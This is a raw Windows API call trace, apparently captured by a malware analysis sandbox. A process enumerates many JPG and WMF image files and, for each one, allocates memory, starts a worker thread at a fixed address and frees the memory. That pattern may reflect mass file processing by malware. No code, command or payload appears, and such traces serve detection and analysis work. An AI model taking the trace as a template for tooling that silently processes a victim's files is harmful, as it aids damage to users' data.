	[0225.699] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b2a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0178632.JPG", cAlternateFileName="")) returned 1
	[0225.700] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b54
	[0225.703] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.703] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d26, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0178639.JPG", cAlternateFileName="")) returned 1
	[0225.703] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b58
	[0225.707] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.707] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0178932.JPG", cAlternateFileName="")) returned 1
	[0225.707] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b5c
	[0225.709] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.710] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d6e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0179963.JPG", cAlternateFileName="")) returned 1
	[0225.710] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b60
	[0225.712] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.713] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40e7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0182689.JPG", cAlternateFileName="")) returned 1
	[0225.713] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b38
	[0226.825] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.826] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f48, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0182888.WMF", cAlternateFileName="")) returned 1
	[0231.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b70
	[0231.805] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.806] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0182898.WMF", cAlternateFileName="")) returned 1
	[0231.806] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b74
	[0232.973] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.974] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e8e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0182902.WMF", cAlternateFileName="")) returned 1
	[0232.974] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a74
	[0232.976] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.977] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21290a00, ftCreationTime.dwHighDateTime=0x1bdf6f5, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21290a00, ftLastWriteTime.dwHighDateTime=0x1bdf6f5, nFileSizeHigh=0x0, nFileSizeLow=0x3ed2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0182946.WMF", cAlternateFileName="")) returned 1
	[0232.977] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a24
	[0232.980] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.980] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x745c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0183172.WMF", cAlternateFileName="")) returned 1
	[0232.980] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a48
	[0232.982] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.983] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6fd2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0183174.WMF", cAlternateFileName="")) returned 1
	[0232.983] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b78
	[0232.985] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.986] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f6e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0183198.WMF", cAlternateFileName="")) returned 1
	[0232.986] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b7c
	[0232.989] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.989] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b4a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0183574.WMF", cAlternateFileName="")) returned 1
	[0232.989] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a70
	[0232.992] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.993] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c88, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185670.WMF", cAlternateFileName="")) returned 1
	[0232.993] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a44
	[0232.996] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.997] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e46, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185774.WMF", cAlternateFileName="")) returned 1
	[0232.999] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b14
	[0233.001] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.002] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185776.WMF", cAlternateFileName="")) returned 1
	[0233.002] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b1c
	[0233.005] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.006] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185778.WMF", cAlternateFileName="")) returned 1
	[0233.006] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b18
	[0235.010] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.011] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe956, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185780.WMF", cAlternateFileName="")) returned 1
	[0235.011] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b34
	[0235.016] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.016] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99a2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185786.WMF", cAlternateFileName="")) returned 1
	[0235.017] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b24
	[0235.019] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.020] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x50b6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185790.WMF", cAlternateFileName="")) returned 1
	[0235.020] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b20
	[0235.023] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.024] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x650c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185796.WMF", cAlternateFileName="")) returned 1
	[0235.024] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b28
	[0235.027] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.027] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8420, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185798.WMF", cAlternateFileName="")) returned 1
	[0235.027] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b30
	[0235.031] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.031] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5eae, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185800.WMF", cAlternateFileName="")) returned 1
	[0235.031] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b2c
	[0235.035] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.035] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x773a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185806.WMF", cAlternateFileName="")) returned 1
	[0235.035] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a7c
	[0235.038] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.038] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185818.WMF", cAlternateFileName="")) returned 1
	[0235.038] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a78
	[0235.041] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.042] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185828.WMF", cAlternateFileName="")) returned 1
	[0235.042] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b68
	[0235.453] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.454] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2182, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185834.WMF", cAlternateFileName="")) returned 1
	[0235.454] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b64
	[0235.457] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
